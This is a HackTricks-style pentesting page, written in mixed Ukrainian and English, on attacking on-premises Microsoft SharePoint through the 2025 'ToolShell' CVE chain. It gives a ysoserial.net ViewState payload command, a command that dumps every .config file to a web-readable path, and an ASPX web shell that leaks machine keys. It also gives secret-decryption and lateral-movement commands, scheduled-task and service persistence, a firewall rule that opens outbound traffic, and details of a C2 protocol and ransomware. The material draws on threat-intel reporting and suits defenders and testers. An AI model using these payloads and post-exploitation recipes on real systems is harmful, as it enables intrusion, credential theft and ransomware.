Microsoft SharePoint – Pentesting & Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Microsoft SharePoint (on-premises) побудовано поверх ASP.NET/IIS. Більшість класичних векторів веб-атак (ViewState, Web.Config, web shells тощо) тому присутні, але SharePoint також постачається зі сотнями пропрієтарних ASPX-сторінок і веб-сервісів, які значно збільшують експоновану поверхню атаки. Ця сторінка збирає практичні трюки для enumerate, exploit і persist всередині середовищ SharePoint з акцентом на 2025 exploit chain, розкритий Unit42 (CVE-2025-49704/49706/53770/53771).
1. Швидке перерахування
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 ланцюжок експлойтів (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection у ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> дозволяє впровадити довільний Server-Side Include код у сторінку, який пізніше компілюється ASP.NET. Зловмисник може вбудувати C#, що викликає Process.Start(), і розмістити шкідливий ViewState.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Та сама сторінка довіряє заголовку X-Forms_BaseUrl для визначення контексту сайту. Вказавши його на /_layouts/15/, MFA/SSO, застосовані до кореневого сайту, можна обійти без автентифікації.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Як тільки зловмисник контролює гаджет у ToolPane.aspx, він може надіслати unsigned (або MAC-only) __VIEWSTATE значення, яке спричинює десеріалізацію .NET всередині w3wp.exe і призводить до виконання коду.
Якщо підписування увімкнено, викрадіть ValidationKey/DecryptionKey з будь-якого web.config (див. 2.4) і підробіть payload за допомогою ysoserial.net або ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Для детального пояснення щодо зловживання ASP.NET ViewState читайте:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Надсилання спеціально сформованого параметра Source до ToolPane.aspx (наприклад ../../../../web.config) повертає цільовий файл, що дозволяє отримати:
<machineKey validationKey="…" decryptionKey="…">➜ підробити ViewState / ASPXAUTH cookies- рядки підключення та секрети.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point показав, як Ink Dragon реалізувала ланцюжок ToolShell за місяці до того, як Microsoft випустила виправлення:
- Header spoofing for auth bypass – актор надсилає POST-запити до
/_layouts/15/ToolPane.aspxзReferer: https://<victim>/_layouts/15/та підробленимX-Forms_BaseUrl. Ці заголовки переконують SharePoint, що запит походить із довіреного layout і повністю обходять front-door authentication (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – тіло запиту містить контролювані атакуючим ViewState/ToolPart дані, які доходять до вразливого серверного форматтера (CVE-2025-49704/CVE-2025-53770). Payload зазвичай — ланцюжок ysoserial.net, який виконується всередині
w3wp.exe, ніколи не торкаючись диска. - Internet-scale scanning – телеметрія з липня 2025 року показує, що вони перелічували кожен досяжний
/_layouts/15/ToolPane.aspxendpoint і відтворювали словник виявлених пар<machineKey>. Будь-який сайт, який скопіював прикладvalidationKeyз документації, може бути скомпрометований навіть якщо він в іншому повністю запатчений (див. сторінку ViewState щодо процесу підписування). - Immediate staging – успішна експлуатація розміщує loader або PowerShell stager, який: (1) зливає всі
web.config; (2) встановлює ASPX webshell для аварійного доступу; та (3) запускає local Potato privesc для підвищення привілеїв і виходу з процесу IIS worker.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Отриманий debug_dev.js можна завантажити анонімно, і він містить всі чутливі налаштування.
3.2 Розгорнути Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Приклад декодованого payload (скорочено):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Написано для:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to читати / перегенеровувати машинні ключі which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Обфускований варіант (variation-3)
Та сама shell, але:
- розміщений під
...\15\TEMPLATE\LAYOUTS\ - імена змінних скорочені до одиночних літер
Thread.Sleep(<ms>)додано для sandbox-evasion та таймінгового обходу AV.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:
AK47C2 – dnsclient variant
- Жорстко вбудований DNS сервер:
10.7.66.10communicating with authoritative domainupdate.updatemicfosoft.com. - Повідомлення — JSON-об’єкти XOR-encrypted статичним ключем
VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Довгі запити дробляться на чанки і префіксуються
s, потім збираються на стороні сервера. - Сервер відповідає в TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Версія 202504 ввела спрощений формат
<COMMAND>::<SESSION_KEY>і маркери чанків1,2,a.
AK47C2 – httpclient variant
- Повторно використовує ту ж JSON & XOR routine але відправляє hex blob в HTTP POST body via
libcurl(CURLOPT_POSTFIELDS, etc.). - Та сама схема завдання/результату, що дозволяє:
- Виконання довільних shell команд.
- Динамічний інтервал сну та інструкції kill-switch.
X2ANYLOCK ransomware
- 64-bit C++ payload loaded through DLL side-loading (see below).
- Використовує AES-CBC для даних файлів + RSA-2048 щоб wrap the AES key, потім додає розширення
.x2anylock. - Рекурсивно шифрує локальні диски та виявлені SMB shares; пропускає системні шляхи.
- Скидає файл-повідомлення у відкритому вигляді
How to decrypt my data.txt, embedding a static Tox ID для переговорів. - Містить внутрішній kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Атакувальник записує
dllhijacked.dll/My7zdllhijacked.dllпоруч із легітимним7z.exe. - SharePoint-spawned
w3wp.exelaunches7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory. - Окремий LockBit loader observed (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) decrypts shell-code and performs DLL hollowing intod3dl1.dllto run LockBit 3.0.
[!INFO] Той самий статичний Tox ID, знайдений у X2ANYLOCK, з’являється у leaked LockBit databases, що вказує на перехресне належність афілійованих груп.
3.5 Turning SharePoint loot into lateral movement
- Розшифрувати кожен захищений розділ – once seated on the web tier, abuse
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(or-px "appSettings") щоб вивантажити clear-text секрети, що ховаються за<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials таким чином. - Recycle app-pool accounts across farms – багато підприємств reuse the same domain account for
IIS APPPOOL\SharePointна кожному front-end. Після розшифруванняidentity impersonate="..."блоків або читанняApplicationHost.config, тестуйте облікові дані через SMB/RDP/WinRM на кожному sibling server. В декількох інцидентах обліковий запис також був локальним адміністратором, що дозволялоpsexec,sc create, або staged scheduled-task without triggering password sprays. - Abuse leaked
<machineKey>values internally – навіть якщо інтернет-періметр буде запатчений, повторне використання того жvalidationKey/decryptionKeyдозволяє латеральну експлуатацію ViewState між внутрішніми SharePoint зонами, що довіряють одна одній.
3.6 Persistence patterns witnessed in 2025 intrusions
- Scheduled tasks – одноразове завдання з іменем
SYSCHECK(або інші health-themed імена) створюється з/ru SYSTEM /sc once /st <hh:mm>щоб bootstrap the next-stage loader (зазвичай перейменованийconhost.exe). Оскільки воно run-once, телеметрія часто пропускає його, якщо не збережено historic task XML. - Masqueraded services – служби на кшталт
WindowsTempUpdate,WaaSMaintainer, абоMicrosoftTelemetryHostвстановлюються черезsc create, вказуючи на sideloading triad directory. Бінарні файли зберігають свої оригінальні підписи AMD/Realtek/NVIDIA але перейменовані щоб match Windows components; порівняння on-disk name з полемOriginalFileNamePE — швидка перевірка цілісності.
3.7 Host firewall downgrades for relay traffic
Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Оскільки правило створено локально (не через GPO) і використовує легітимний виконуваний файл Defender як program=, більшість базових налаштувань SOC ігнорують його, але воно відкриває Any ➜ Any вихідний трафік.
Пов’язані трюки
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Джерела
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


